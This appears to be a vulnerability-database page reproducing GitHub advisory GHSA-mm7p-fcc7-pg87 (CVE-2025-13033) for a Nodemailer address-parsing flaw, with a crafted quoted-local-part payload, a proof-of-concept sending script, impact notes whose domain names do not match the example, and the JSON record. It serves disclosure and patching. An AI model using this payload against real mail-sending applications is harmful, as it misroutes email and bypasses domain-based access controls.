GHSA-MM7P-FCC7-PG87

Vulnerability from github – Published: 2025-10-07 13:42 – Updated: 2025-11-17 17:29
VLAI?
Summary
Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict
Details

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

Image

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-13033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-436"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T13:42:02Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.\n\nPayload: `\"xclow3n@gmail.com x\"@internal.domain`\nUsing the following code to send mail\n```\nconst nodemailer = require(\"nodemailer\");\n\nlet transporter = nodemailer.createTransport({\n  service: \"gmail\",\n  auth: {\n    user: \"\",\n    pass: \"\",\n  },\n});\n\nlet mailOptions = {\n  from: \u0027\"Test Sender\" \u003cyour_email@gmail.com\u003e\u0027, \n  to: \"\\\"xclow3n@gmail.com x\\\"@internal.domain\",\n  subject: \"Hello from Nodemailer\",\n  text: \"This is a test email sent using Gmail SMTP and Nodemailer!\",\n};\n\ntransporter.sendMail(mailOptions, (error, info) =\u003e {\n  if (error) {\n    return console.log(\"Error: \", error);\n  }\n  console.log(\"Message sent: %s\", info.messageId);\n\n});\n\n\n(async () =\u003e {\n  const parser = await import(\"@sparser/email-address-parser\");\n  const { EmailAddress, ParsingOptions } = parser.default;\n  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);\n\n  if (!parsed) {\n    console.error(\"Invalid email address:\", mailOptions.to);\n    return;\n  }\n\n  console.log(\"Parsed email:\", {\n    address: `${parsed.localPart}@${parsed.domain}`,\n    local: parsed.localPart,\n    domain: parsed.domain,\n  });\n})();\n```\n\nRunning the script and seeing how this mail is parsed according to RFC\n\n```\nParsed email: {\n  address: \u0027\"xclow3n@gmail.com x\"@internal.domain\u0027,\n  local: \u0027\"xclow3n@gmail.com x\"\u0027,\n  domain: \u0027internal.domain\u0027\n}\n```\n\nBut the email is sent to `xclow3n@gmail.com`\n\n\u003cimg width=\"2128\" height=\"439\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d\" /\u003e\n\n\n### Impact:\n\n-    Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.\n\n-    Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.\n\n-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.\n\n-    Domain based access control bypass in downstream applications using your library to send mails\n\n### Recommendations\n\n-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.\n\n-    Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.",
  "id": "GHSA-mm7p-fcc7-pg87",
  "modified": "2025-11-17T17:29:26Z",
  "published": "2025-10-07T13:42:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13033"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-13033"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402179"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…